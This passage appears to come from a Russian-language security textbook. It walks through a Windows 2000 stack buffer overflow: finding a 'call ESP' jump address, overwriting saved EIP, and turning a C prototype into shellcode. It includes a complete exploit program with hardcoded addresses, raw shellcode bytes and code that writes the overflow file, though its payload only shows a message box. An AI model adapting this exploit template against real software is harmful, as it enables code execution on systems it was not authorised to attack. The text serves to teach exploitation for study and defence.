Поиск выполним с помощью программы findjmp, которая найдет в двоичном коде динамически подключаемой библиотеки kernel32.dll потенциальные точки перехода с использованием регистра ESP. Для этого вызовем программу findjmp следующим образом:

findjmp kernel32.dll ESP

Программа выдаст такой отчет:

Scanning kernel32.dll for code useable with the ESP register

0x77E8250A call ESP

Finished Scanning kernel32.dll for code useable with the ESP

register

Found 1 usable addresses

Подменив перед командой ret сохраненное в стеке значение регистра EIP на значение 0x77E8250A, по команде ret это значение (адрес команды call ESP) будет загружено в указатель команд EIP. Процессор выполнит команду call ESP, которая передаст управление по содержимому регистра ESP, то есть в область стека c программным кодом полезной нагрузки. В программе переполнения буфера адрес точки перехода определяется следующим образом:

DWORD EIP=0x77E8250A; // a pointer to a

//call ESP in KERNEL32.dll

//found with findjmp.c

После этого адрес записывается в буфер writeme после 12 байт заполнителя: memcpy(writeme+12,&EIP,4); //overwrite EIP here Запись программного кода полезной нагрузки. Наконец пришло время написать программный код полезной нагрузки и средства его загрузки. Поскольку он демонстрирует основные положения переполнения буфера, то код очень прост: программа выводит окно сообщений с приветствием «HI». Обычно рекомендуется написать прототип программного кода полезной нагрузки на языке C, а затем преобразовывать его в ассемблерный код. Прототип программного кода полезной нагрузки на языке C выводит окно сообщений с помощью функции MessageBox():

MessageBox (NULL, “hi”, NULL, MB_OK);

Для преобразования прототипа программного кода полезной нагрузки на языке C в код ассемблера воспользуемся дизассемблером или отладчиком. Прежде всего следует решить, как вызвать экспортируемую из динамически подключаемой библиотеки user32.dll функцию MessageBox(). Нельзя надеяться на то, что библиотека user32.dll будет импортирована в уязвимую программу, поэтому следует предусмотреть ее загрузку с помощью функции LoadLibraryA(). Функция LoadLibraryA() используется на платформах Win32 для загрузки динамически подключаемых библиотек DLL в память процесса. Данная функция экспортируется из библиотеки kernel32.dll, которая уже связана с атакуемой программой. Об этом говорит отчет работы утилиты dumpbin. Итак, в прототипе программного кода полезной нагрузки на языке C сначала следует загрузить динамически подключаемую библиотеку user32.dll, а затем вызвать функцию MessageBox(). После внесения необходимых дополнений прототип выглядит так:

LoadLibraryA(“User32”); MessageBox(NULL, “hi”, NULL, MB_OK);

Функция LoadLibraryA() по умолчанию подразумевает расширение имени динамически подключаемой библиотеки «.dll», поэтому имя библиотеки user32.dll указано без расширения. Это позволит уменьшить размер программного кода полезной нагрузки на 4 байта.

Теперь вместе с программой будет загружена динамически подключаемая библиотека user32.dll, а значит, и код функции MessageBox(). Тем самым будут обеспечены все функциональные возможности для успешной работы программного кода полезной нагрузки.

Последнее, на что следует обратить внимание. После передачи управления программному коду полезной нагрузки и его выполнения атакованная программа, вероятнее всего, завершится аварийно, поскольку она попытается выполнить данные стека после кода полезной нагрузки. Это нехорошо. Поэтому процесс должен быть завершен функцией ExitProcess(). В результате заключительный исходный текст прототипа программного кода полезной нагрузки на языке C перед преобразованием в код ассемблера приобретает следующий вид:

LoadLibraryA(“User32”);

MessageBox(NULL, “hi”, NULL, MB_OK);

ExitProcess(1);

Для преобразования прототипа программного кода полезной нагрузки на языке C в код ассемблера воспользуемся встроенным ассемблером компилятора Visual C, а затем перенесем результат трансляции в буфер BYTE.

Вместо того чтобы в этом месте привести пример соответствующего программного кода ассемблера, будет лучше, если читатель просмотрит приведенный ниже пример программы переполнения буфера, в которой создается файл, инициализируется заполнителем буфер, определяется точка перехода, в буфер записывается программный код полезной загрузки и, наконец, буфер выгружается в файл.

При желании перед записью программного кода полезной нагрузки в файл можно оттестировать его. Для этого следует убрать комментарии в части кода, отмеченного как тест. Это приведет к выполнению программного кода полезной нагрузки вместо записи его в файл.

Приведенная ниже программа была написана как пример программирования основных положений переполнения буфера. В ней использованы определенные символическими константами адреса используемых функций, поэтому она может не работать на системе, несовместимой с Win2k sp2.

Программа проста и непереносима. Для ее работы на других платформах следует заменить значения символических констант, определенных макросами #define, на правильные адреса используемых функций. Адреса можно узнать с помощью утилит Visual Studio depends.exe или dumpbin.exe.

Изюминка приведенной программы заключается в нестандартном использовании команды call. Нестандартное применение команды call позволяет загрузить в стек адрес строки символов, расположенной следом за командой call. Это позволяет не только включить данные в программный код, но и не требует знания адреса загрузки программного кода полезной нагрузки или смещений в управляющем коде.

Другими словами, команда call записывает в стек адрес следующей за ней строки, полагая, что записывает адрес команды, которая будет выполнена по завершении функции командой ret. Аналогичный прием был использован в программе переполнения буфера для Linux.

Для безошибочной трансляции программы компилятором Visual Studio при включении строки символов в программный код требуется использовать директиву _emit.

#include

/*

Example NT Exploit

Ryan Permeh, ryan@eeye.com

*/

int main(int argc,char **argv)

{

#define MBOX 0x77E375D5

#define LL 0x77E8A254

#define EP 0x77E98F94

DWORD EIP=0x77E8250A; // a pointer to a

//call ESP in KERNEL32.dll

//found with findoffset.c

BYTE writeme[65]; //mass overflow holder

BYTE code[49] ={

0xE8, 0x07, 0x00, 0x00, 0x00, 0x55,

0x53, 0x45, 0x52, 0x33, 0x32, 0x00,

0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF,

0xD0, 0x6A, 0x00, 0x6A, 0x00, 0xE8,

0x03, 0x00, 0x00, 0x00, 0x48, 0x49,

0x00, 0x6A, 0x00, 0xB8, 0xD5, 0x75,

0xE3, 0x77, 0xFF, 0xD0, 0x6A, 0x01,

0xB8, 0x94, 0x8F, 0xE9, 0x77, 0xFF,

0xD0

};

HANDLE file;

DWORD written;

/*

__asm

{

call tag1 ; jump over(trick push)

_emit 0x55 ; “USER32”,0x00

_emit 0x53

_emit 0x45

_emit 0x52

_emit 0x33

_emit 0x32

_emit 0x00

tag1:

// LoadLibrary(“USER32”);

mov EAX, LL ;put the LoadLibraryA

address in EAX

call EAX ;call LoadLibraryA

push 0 ;push MBOX_OK(4th arg to mbox)

push 0 ;push NULL(3rd arg to mbox)

call tag2 ; jump over(trick push)

_emit 0x48 ; “HI”,0x00

_emit 0x49

_emit 0x00

tag2:

push 0 ;push NULL(1st arg to mbox)

// MessageBox (NULL, “hi”, NULL, MB_OK);

mov EAX, MBOX ;put the MessageBox

address in EAX

call EAX ;Call MessageBox

push 1 ;push 1 (only arg

to exit)

// ExitProcess(1);

mov EAX, EP ; put the

ExitProcess address in EAX

call EAX ;call ExitProcess

}

*/

/*

char *i=code; //simple test code pointer

//this is to test the code

__asm

{

mov EAX, i

call EAX

}

*/

/* Our overflow string looks like this:

[0x90*12][EIP][code]

The 0x90(nop)’s overwrite the buffer, and the saved EBP on

the stack, and then EIP replaces the saved EIP on the stack.

The saved EIP is replaced with a jump address that points to

a call ESP. When call ESP executes, it executes our code

waiting in ESP.*/

memset(writeme,0x90,65); //set my local string to nops

memcpy(writeme+12,&EIP,4); //overwrite EIP here

memcpy(writeme+16,code,49); // copy the code into our

temp buf

//open the file

file=CreateFile(“badfile”,GENERIC_WRITE,0,NULL,

OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

//write our shellcode to the file

WriteFile(file,writeme,65,&written,NULL);

CloseHandle(file);

//we’re done

return 1;

}

Загрузка...